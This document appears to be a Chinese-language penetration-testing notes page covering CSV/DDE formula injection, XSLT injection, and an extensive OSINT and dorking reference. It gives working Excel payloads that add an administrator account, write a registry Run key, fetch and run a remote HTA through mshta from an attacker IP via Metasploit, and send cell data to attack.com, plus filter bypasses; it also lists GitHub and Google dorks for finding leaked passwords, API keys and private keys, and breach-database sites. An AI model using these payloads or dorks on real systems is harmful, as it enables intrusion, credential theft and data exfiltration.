新学的-csv注入 原理:
excel工作原理:excel的一个特性:单元格中的第一个字符是“+、-、@、=”这样的符号时,他会以一个表达式的形式被处理
DDE。动态数据交换(DDE),是Windows下进程间通信协议,支持Microsoft Excel,LibreOffice和Apache OpenOffice。Excel、Word、Rtf、Outlook都可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含DDE公式的CSV文件,那么在打开该文件时,Excel就会尝试执行外部应用。
比如说你在里面搞一个=1+cmd|'/C calc'!A0
,按理说应该会弹计算器,但是win11已经知道这个并给他搞出去了
看了眼人家成功时是2023.3,难怪了
利用方式
添加用户:=cmd|'/C net user test 123456 /add'!A0+<br>=cmd|'/C net user test 123456 /add && net localgroup administrators test /add'!A0
修改注册表:=cmd|'/C reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v calc /t REG_SZ /d "calc.exe" /f'!A0
反弹shell:可以和msf结合起来,msf这边1 2 3 use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set srvhost 192.168.174.129 msf exploit(windows/misc/hta_server) > exploit
excel添加载荷1 2 +1+cmd|'/c mshta.exe http://192.168.192.135:8080/770MqXy.hta '!A0
信息泄露:=HYPERLINK("https://attack.com?data="&A1,"click me")
网络钓鱼:=HYPERLINK("https://attack.com?data="&A1,"click me")
或者是控制浏览器访问钓鱼网站=1+cmd|'/C "C:\Users\ASUS\AppData\Local\Google\Chrome\Application\chrome.exe" https://attack.com '!A0
绕过方式: 在等于号被过滤时,可以通过运算符+-的方式绕过;
-1+1+cmd |’ /C calc’ !A0
参数处输入以下 Payload,%0A被解析,从而后面的数据跳转到下一行:
%0A-1+1+cmd|' /C calc'!A0
导出文件为 csv 时,若系统在等号=前加了引号’过滤,则可以使用分号绕过,分号;可分离前后两部分内容使其分别执行:
;-3+3+cmd|' /C calc'!D2
其他常用 Payload:
@SUM(cmd|'/c calc'!A0)
=HYPERLINK("https://attact.com")
防御思路 单元格不以特殊字符开头:+,-,@,=
禁止导出CSV,XLS格式文件
黑名单过滤=(-)cmd或=(-)HYPERLINK
或=(-)concat
等
还有,在大部分情况下都会弹出Microsoft Office安全提示,只要不点“是”就行了,所以对于平时常规文件的传递中,要尽量为员工做好相关的安全意识培训来做相关的防范。
XSLT注入 SLT (Extensible Stylesheet Language Transformations) 是一种转换语言,主要是将一种XML文档转换为另外一种XML文档,或者其他格式的文档,例如:HTML和文本等。XSLT 使用 XPath 在 XML 文档中查找信息。XPath 被用来通过元素和属性在 XML 文档中进行导航。
1 2 3 4 5 6 7 <?xml version="1.0" encoding="UTF-8"?> <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <body> <xsl:text>xsl:vendor = </xsl:text><xsl:value-of select="system-property('xsl:vendor')"/><br/> <xsl:text>xsl:version = </xsl:text><xsl:value-of select="system-property('xsl:version')"/><br/> </body> </html>
1 2 3 4 5 6 <?xml version="1.0" encoding="UTF-8"?> <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <body> <xsl:value-of name="bugbounty" select="php:function('phpinfo')"/> </body> </html>
【译】XSLT attack
信息收集 1 2 3 4 5 https://osintframework.com/ https://i-intelligence.eu/uploads/public-documents/OSINT_Handbook_2020.pdf https://start.me/p/DPYPMz/the-ultimate-osint-collection https://docs.google.com/spreadsheets/d/18rtqh8EG2q1xBo2cLNyhIDuK9jrPGwYr9DI2UncoqJQ https://cipher387.github.io/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 # Multipurpose https://shodan.io/ https://censys.io/ https://onyphe.io/ https://app.netlas.io/ https://hunter.how/ https://fofa.so/ https://fullhunt.io/ https://www.zoomeye.org/ https://www.criminalip.io/ https://leakix.net/ https://www.yougetsignal.com/ https://intelx.io/ https://pentest-tools.com/ https://gofindwhois.com/ https://gofindwho.com/ # Public info gathering # Track website changes https://visualping.io/ https://web.archive.org # Companies info https://opencorporates.com/companies # Domain Recon https://www.robtex.com/ https://centralops.net https://viewdns.info/ https://phpinfo.me/domain http://bgp.he.net/ https://bgpview.io/ https://suip.biz/ https://dnsdumpster.com/ https://www.whoxy.com/ http://ipv4info.com/ https://rapiddns.io/ https://myip.ms/ https://www.reversewhois.io/? https://www.whoxy.com/reverse-whois/ https://reverse-whois.whoisxmlapi.com/api https://host.io/dashboard https://completedns.com/dns-history/
1 http://multirbl.valli.org/
1 https://tools.emailhippo.com/
1 https://immuniweb.com/radar/
1 2 https://www.postman.com/explore/ https://rapidapi.com/
1 https://serene-agnesi-57a014.netlify.app/
1 https://exif-viewer.com/
google语法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 宽域搜索/否定搜索 site:example.com -www -shop -share -ir -mfa 带参数的 PHP 扩展 site:example.com ext:php inurl:? 应用程序接口端点 site:example[.]com inurl:api | site:*/rest | site:*/v1 | site:*/v2 | site:*/v3 多汁的扩展 site:"example[.]com" ext:log | ext:txt | ext:conf | ext:cnf | ext:ini | ext:env | ext:sh | ext:bak | ext:backup | ext:swp | ext:old | ext:~ | ext:git | ext:svn | ext:htpasswd | ext:htaccess | ext:json 高百分比 inurl 关键字 inurl:conf | inurl:env | inurl:cgi | inurl:bin | inurl:etc | inurl:root | inurl:sql | inurl:backup | inurl:admin | inurl:php site:example[.]com 服务器错误 inurl:"error" | intitle:"exception" | intitle:"failure" | intitle:"server at" | inurl:exception | "database error" | "SQL syntax" | "undefined index" | "unhandled exception" | "stack trace" site:example[.]com 易发生 XSS 的参数 inurl:q= | inurl:s= | inurl:search= | inurl:query= | inurl:keyword= | inurl:lang= inurl:& site:example.com 打开重定向容易参数 inurl:url= | inurl:return= | inurl:next= | inurl:redirect= | inurl:redir= | inurl:ret= | inurl:r2= | inurl:page= inurl:& inurl:http site:example.com SQLi 易错参数 inurl:id= | inurl:pid= | inurl:category= | inurl:cat= | inurl:action= | inurl:sid= | inurl:dir= inurl:& site:example.com SSRF 易损参数 inurl:http | inurl:url= | inurl:path= | inurl:dest= | inurl:html= | inurl:data= | inurl:domain= | inurl:page= inurl:& site:example.com LFI 易损参数 ` inurl:include | inurl:dir | inurl:detail= | inurl:file= | inurl:folder= | inurl:inc= |inurl:locate= | inurl:doc= | inurl:conf= inurl:& site:example.com 易发生 RCE 的参数 ` inurl:cmd | inurl:exec= | inurl:query= | inurl:code= | inurl:do= | inurl:run= | inurl:read= | inurl:ping= inurl:& site:example.com 文件上传端点 site:example.com ”choose file” 应用程序接口文档 inurl:apidocs | inurl:api-docs | inurl:swagger | inurl:api-explorer site:"example[.]com" 登录页面 inurl:login | inurl:signin | intitle:login | intitle:signin | inurl:secure site:example[.]com 敏感文件 site:example.com ext:txt | ext:pdf | ext:xml | ext:xls | ext:xlsx | ext:ppt | ext:pptx | ext:doc | ext:docx intext:“confidential” | intext:“Not for Public Release” | intext:”internal use only” | intext:“do not distribute” 敏感参数 inurl:email= | inurl:phone= | inurl:password= | inurl:secret= inurl:& site:example[.]com Adobe 体验管理器(AEM) inurl:/content/usergenerated | inurl:/content/dam | inurl:/jcr:content | inurl:/libs/granite | inurl:/etc/clientlibs | inurl:/content/geometrixx | inurl:/bin/wcm | inurl:/crx/de site:example[.]com 已披露的 XSS 和开放式重定向 site:openbugbounty.org inurl:reports intext:"example.com" 代码泄漏 site:pastebin.com "example.com" site:jsfiddle.net "example.com" site:codebeautify.org "example.com" site:codepen.io "example.com" 云存储 site:s3.amazonaws.com "example.com" site:blob.core.windows.net "example.com" site:googleapis.com "example.com" site:drive.google.com "example.com" site:dev.azure.com "example[.]com" site:onedrive.live.com "example[.]com" site:digitaloceanspaces.com "example[.]com" site:sharepoint.com "example[.]com" site:s3-external-1.amazonaws.com "example[.]com" site:s3.dualstack.us-east-1.amazonaws.com "example[.]com" site:dropbox.com/s "example[.]com" site:box.com/s "example[.]com" site:docs.google.com inurl:"/d/" "example[.]com" JFrog Artifactory site:jfrog.io "example[.]com" Firebase site:firebaseio.com "example[.]com" 漏洞悬赏计划和漏洞披露计划 "submit vulnerability report" | "powered by bugcrowd" | "powered by hackerone" site:*/security.txt "bounty" 阿帕奇服务器状态曝光 site:*/server-status apache WordPress inurl:/wp-admin/admin-ajax.php Drupal intext:"Powered by" & intext:Drupal & inurl:user Joomla site:*/joomla/login
shadon语法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 1. org:"http://target. com" 2. http.status:"<status_code>" 3. product:"<Product_Name>" 4. port:<Port_Number> “Service_Message” 5. port:<Port_Number> “Service_Name” 6. http.component:"<Component_Name>" 7. http.component_category:"<Component_Category> 8. http.waf:"<firewall_name>" 9. http.html:"<Name>" 10. http.title:"<Title_Name>" 11. ssl.alpn:"<Protocol>" 12. http.favicon.hash:"<Favicon_Hash>" 13. net:"<Net_Range>" (for e.g. 104.16.100.52/32) 14. http://ssl.cert.subject.cn:"<http://Domain .com>" 15. asn:"<ASnumber>" 16. hostname:"<hosthame>" 17. ip:"<IP_Address>" 18. all:"<Keyword>" 19. “Set-Cookie: phpMyAdmin” 20. “Set-Cookie: lang=" 21. “Set-Cookie: PHPSESSID" 22. “Set-Cookie: webvpn” 23. “Set-Cookie:webvpnlogin=1" 24. “Set-Cookie:webvpnLang=en” 25. “Set-Cookie: mongo-express=" 26. “Set-Cookie: user_id=" 27. “Set-Cookie: phpMyAdmin=" 28. “Set-Cookie: _gitlab_session” 29. “X-elastic-product: Elasticsearch” 30. “x-drupal-cache” 31. “access-control-allow-origin” 32. “WWW-Authenticate” 33. “X-Magento-Cache-Debug” 34. “kbn-name: kibana”
github语法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 api_key “api keys” authorization_bearer: oauth auth authentication client_secret api_token: “api token” client_id password user_password user_pass passcode client_secret secret password hash OTP user auth #Some of the mine which I use generally remove password root admin log trash token FTP_PORT FTP_PASSWORD DB_DATABASE= DB_HOST= DB_PORT= DB_PASSWORD= DB_PW= DB_USER= number
1 2 3 4 like: language:shell username language:sql username language:python ftp language:bash ftp
1 ste:xxyz.com ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv | ext:txt | ext:html | ext:php | ext:xls`)
useful 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 dotfiles filename:sftp-config.json password filename:.s3cfg filename:config.php dbpasswd filename:.bashrc password filename:.esmtprc password filename:.netrc password filename:_netrc password filename:.env MAIL_HOST=smtp.gmail.com filename:prod.exs NOT prod.secret.exs filename:.npmrc _auth filename:WebServers.xml filename:sftp-config.json filename:.esmtprc password filename:passwd path:etc filename:prod.secret.exs filename:sftp-config.json filename:proftpdpasswd filename:travis.yml filename:vim_settings.xml filename:sftp.json path:.vscode filename:secrets.yml password extension:sql mysql dump extension:sql mysql dump extension:sql mysql dump password extension:pem private extension:ppk private 自动化: 手动方式最适合从 Github 中查找敏感信息。但如果你想自动化这一过程,我建议你使用 GitDorker。在猎取 GitHub 的过程中,我有时也会使用这个工具。虽然它的速度有点慢,因为为了防止速率限制,Gitdocker 每分钟会发送 30 个请求。但它提供的错误结果比其他工具要少得多。 此外,你还可以使用这个工具,它给我带来了惊人的效果 $ git clone https://github.com/obheda12/GitDorker $ python3 GitDorker.py -tf ~/Tools/.github_tokens -q united.com -p -ri -d Dorks/medium_dorks.txt 呆子名单 ".mlab.com password" "access_key" "access_token" "amazonaws" "api.googlemaps AIza" "api_key" "api_secret" "apidocs" "apikey" "apiSecret" "app_key" "app_secret" "appkey" "appkeysecret" "application_key" "appsecret" "appspot" "auth" "auth_token" "authorizationToken" "aws_access" "aws_access_key_id" "aws_key" "aws_secret" "aws_token" "AWSSecretKey" "bashrc password" "bucket_password" "client_secret" "cloudfront" "codecov_token" "config" "conn.login" "connectionstring" "consumer_key" "credentials" "database_password" "db_password" "db_username" "dbpasswd" "dbpassword" "dbuser" "dot-files" "dotfiles" "encryption_key" "fabricApiSecret" "fb_secret" "firebase" "ftp" "gh_token" "github_key" "github_token" "gitlab" "gmail_password" "gmail_username" "herokuapp" "internal" "irc_pass" "JEKYLL_GITHUB_TOKEN" "key" "keyPassword" "ldap_password" "ldap_username" "login" "mailchimp" "mailgun" "master_key" "mydotfiles" "mysql" "node_env" "npmrc _auth" "oauth_token" "pass" "passwd" "password" "passwords" "pem private" "preprod" "private_key" "prod" "pwd" "pwds" "rds.amazonaws.com password" "redis_password" "root_password" "secret" "secret.password" "secret_access_key" "secret_key" "db_password" "db_username" "dbpasswd" "dbpassword" "dbuser" "dot-files" "dotfiles" "encryption_key" "fabricApiSecret" "fb_secret" "firebase" "ftp" "gh_token" "github_key" "github_token" "gitlab" "gmail_password" "gmail_username" "herokuapp" "internal" "irc_pass" "JEKYLL_GITHUB_TOKEN" "key" "keyPassword" "ldap_password" "ldap_username" "login" "mailchimp" "mailgun" "master_key" "mydotfiles" "mysql" "node_env" "npmrc _auth" "oauth_token" "pass" "passwd" "password" "passwords" "pem private" "preprod" "private_key" "prod" "pwd" "pwds" "rds.amazonaws.com password" "redis_password" "root_password" "secret" "secret.password" "secret_access_key" "secret_key" [WFClient] Password= extension:ica access_key bucket_password dbpassword dbuser extension:avastlic "support.avast.com" extension:bat extension:cfg extension:env extension:exs extension:ini extension:json api.forecast.io extension:json googleusercontent client_secret extension:json mongolab.com extension:pem extension:pem private extension:ppk extension:ppk private extension:properties extension:sh extension:sls extension:sql extension:sql mysql dump extension:sql mysql dump password extension:yaml mongolab.com extension:zsh filename:.bash_history filename:.bash_history DOMAIN-NAME filename:.bash_profile aws filename:.bashrc mailchimp filename:.bashrc password filename:.cshrc filename:.dockercfg auth filename:.env DB_USERNAME NOT homestead filename:.env MAIL_HOST=smtp.gmail.com filename:.esmtprc password filename:.ftpconfig filename:.git-credentials filename:.history filename:.htpasswd filename:.netrc password filename:.npmrc _auth filename:.pgpass filename:.remote-sync.json filename:.s3cfg filename:.sh_history filename:.tugboat NOT _tugboat filename:_netrc password filename:apikey filename:bash filename:bash_history filename:bash_profile filename:bashrc filename:beanstalkd.yml filename:CCCam.cfg filename:composer.json filename:config filename:config irc_pass filename:config.json auths filename:config.php dbpasswd filename:configuration.php JConfig password filename:connections filename:connections.xml filename:constants filename:credentials filename:credentials aws_access_key_id filename:cshrc filename:database filename:dbeaver-data-sources.xml filename:deployment-config.json filename:dhcpd.conf filename:dockercfg filename:environment filename:express.conf filename:express.conf path:.openshift filename:filezilla.xml filename:filezilla.xml Pass filename:git-credentials filename:gitconfig filename:global filename:history filename:htpasswd filename:hub oauth_token filename:id_dsa filename:id_rsa filename:id_rsa or filename:id_dsa filename:idea14.key filename:known_hosts filename:logins.json filename:makefile filename:master.key path:config filename:netrc filename:npmrc filename:pass filename:passwd path:etc filename:pgpass filename:prod.exs filename:prod.exs NOT prod.secret.exs filename:prod.secret.exs filename:proftpdpasswd filename:recentservers.xml filename:recentservers.xml Pass filename:robomongo.json filename:s3cfg filename:secrets.yml password filename:server.cfg filename:server.cfg rcon password filename:settings filename:settings.py SECRET_KEY filename:sftp-config.json filename:sftp-config.json password filename:sftp.json path:.vscode filename:shadow filename:shadow path:etc filename:spec filename:sshd_config filename:token filename:tugboat filename:ventrilo_srv.ini filename:WebServers.xml filename:wp-config filename:wp-config.php filename:zhrc HEROKU_API_KEY language:json HEROKU_API_KEY language:shell HOMEBREW_GITHUB_API_TOKEN language:shell jsforce extension:js conn.login language:yaml -filename:travis msg nickserv identify filename:config org:Target "AWS_ACCESS_KEY_ID" org:Target "list_aws_accounts" org:Target "aws_access_key" org:Target "aws_secret_key" org:Target "bucket_name" org:Target "S3_ACCESS_KEY_ID" org:Target "S3_BUCKET" org:Target "S3_ENDPOINT" org:Target "S3_SECRET_ACCESS_KEY" password path:sites databases password private -language:java PT_TOKEN language:bash redis_password root_password secret_access_key SECRET_KEY_BASE= shodan_api_key language:python WORDPRESS_DB_PASSWORD= xoxp OR xoxb OR xoxa s3.yml .exs beanstalkd.yml deploy.rake .sls — — — — — -BASH — — — — — — — — — — language:bash password language:bash pwd language:bash ftp language:bash dotfiles language:bash JDBC language:bash key-keys language:bash send_key-keys language:bash send,key-keys language:bash token language:bash user language:bash login-singin language:bash passkey-passkeys language:bash pass language:bash secret language:bash credentials language:bash config language:bash security_credentials language:bash connectionstring language:bash ssh2_auth_password — — — — — — — — — — — — — — — — — — -PYTHON — — — — — — — — — language:python password language:python pwd language:python ftp language:python dotfiles language:python JDBC language:python key-keys language:python send_key-keys language:python send,key-keys language:python token language:python user language:python login-singin language:python passkey-passkeys language:python pass language:python secret language:python credentials language:python config language:python security_credentials language:python connectionstring language:python ssh2_auth_password org:facebookresearch https:// org:facebookresearch http:// org:facebookresearch ldap org:facebookresearch ftp org:facebookresearch sftp org:facebookresearch host: org:facebookresearch login
asn/cidr1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 使用 ASN 信息快速映射组织网络范围的 Go CLI 和库 # Company string name to CIDR # https://github.com/dhn/spk spk -json -s "Google" # Versatile tool with multiple input options and output formats # https://github.com/projectdiscovery/asnmap asnmap -i 1.3.3.7 -org GOOGLE -d facebook.com,twitter.com -a AS394161 # https://github.com/nitefood/asn asn -n 8.8.8.8 # https://github.com/j3ssie/metabigor echo "company" | metabigor net --org echo "ASN1111" | metabigor net --asn # https://github.com/yassineaboukir/Asnlookup python asnlookup.py -m -o <Organization> # https://github.com/harleo/asnip asnip -t domain.com -p # https://github.com/projectdiscovery/mapcidr echo 10.10.10.0/24 | mapcidr # https://github.com/eslam3kl/3klector python 3klector.py -t company # https://github.com/SpiderLabs/HostHunter python3 hosthunter.py targets.txt # Website (with API) https://asnlookup.com/
证书泄露1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 # pwndb # https://github.com/davidtavarez/pwndb python3 pwndb.py --target [email protected] # Websites https://link-base.org/index.php http://xjypo5vzgmo7jca6b322dnqbsdnp3amd24ybx26x5nxbusccjkm4pwid.onion/ http://pwndb2am4tzkvold.onion https://weleakinfo.to/ https://www.dehashed.com/search?query= https://haveibeenpwned.com https://breachchecker.com https://vigilante.pw/ https://leak.sx/ https://intelx.io https://search.illicit.services/ https://breachdirectory.org/ breachdirectory.org + (hashes.com || md5decrypt.net || crackstation.net)# Nice combination # Check hashes with this tool https://github.com/jackrendor/jhf
电子邮件工具1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 # https://github.com/SimplySecurity/SimplyEmail ./SimplyEmail.py pip3 install mailspoof sudo mailspoof -d domain.com # Test email spoof https://emkei.cz/ # Find emails in an org https://hunter.io https://snov.io/email-finder https://app.snov.io/domain-search https://hunter.io/ # https://github.com/sham00n/buster buster -e [email protected] # https://github.com/m4ll0k/Infoga python infoga.py # https://github.com/martinvigo/email2phonenumber python email2phonenumber.py scrape -e [email protected] # https://github.com/jkakavas/creepy/ # https://github.com/Josue87/EmailFinder emailfinder -d domain.com # https://github.com/laramies/theHarvester python3 theHarvester.py -d domain.com -b "linkedin"
GIT工具1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # https://github.com/obheda12/GitDorker python3 GitDorker.py -tf TOKENSFILE -q tesla.com -d dorks/DORKFILE -o target # https://github.com/dxa4481/truffleHog trufflehog https://github.com/Plazmaz/leaky-repo trufflehog --regex --entropy=False https://github.com/Plazmaz/leaky-repo # https://github.com/eth0izzle/shhgit shhgit --search-query AWS_ACCESS_KEY_ID=AKIA # https://github.com/d1vious/git-wild-hunt python git-wild-hunt.py -s "extension:json filename:creds language:JSON" # https://shhgit.darkport.co.uk/ # GitLab (API token required) # https://github.com/codeEmitter/token-hunter ./token-hunter.py -g 123456
社交媒体1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 # Twitter # https://github.com/twintproject/twint twint -u username # Google account # https://github.com/mxrch/ghunt python hunt.py [email protected] # Instagram # https://github.com/th3unkn0n/osi.ig python3 main.py -u username # Public GDrive docs https://www.dedigger.com/#gsc.tab=0 # Websites emailrep.io # Accounts registered by email tinfoleak.com # Twitter mostwantedhf.info # Skype searchmy.bio # Instagram search.carrot2.org # Results grouped by topic boardreader.com # forums searchcode.com # search by code in repositories swisscows.com # semantic search engine publicwww.com # search by source page code psbdmp.ws # search in pastebin kribrum.io # social-media search engine whatsmyname.app
元数据1 2 # https://github.com/Josue87/MetaFinder metafinder -d "domain.com" -l 10 -go -bi -ba -o united
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 决议 http://dnsbin.zhack.ca/ (DNS) http://pingb.in/ (DNS) https://www.mockbin.org/ (HTTP) 通配符 DNS http://xip.io/ 10.0.0.1.xip.io www.10.0.0.1.xip.io mysite.10.0.0.1.xip.io foo.bar.10.0.0.1.xip.io http://nip.io/ 10.0.0.1.nip.io app.10.0.0.1.nip.io customer1.app.10.0.0.1.nip.io customer2.app.10.0.0.1.nip.io otherapp.10.0.0.1.nip.io others https://spyse.com/(全面侦察服务) https://dnsdumpster.com/ (DNS 和子域重组) 反向 IP 查询(Domainmonitor) 安全标头(安全报告、标头丢失) http://threatcrowd.org/ (WHOIS、DNS、电子邮件和子域重组) https://mxtoolbox.com/ (多种 DNS 相关重组工具) https://publicwww.com/ (源代码搜索引擎) http://ipv4info.com/ (在公司/组织拥有的 IP 块中查找域名) HackerTarget 工具(DNS 重组、网站查询和扫描工具) VirusTotal(WHOIS、DNS 和子域侦察) crt.sh(SSL 证书搜索) 谷歌 CT(SSL 证书透明度搜索) PenTest 工具(Google ) Wayback Machine(查找过去在该域名上托管的内容) 查找子域(使用域或关键字查找子域)
graphql-api graph是api中一种查询语言,可以用来查询和操作数据,是一种强类型的语言,可以用来描述数据的结构和操作数据的方式,是一种类似于json的语言,但是比json更加强大,可以用来描述数据的结构和操作数据的方式。【翻译】GraphQL API 漏洞的常见攻击方法总结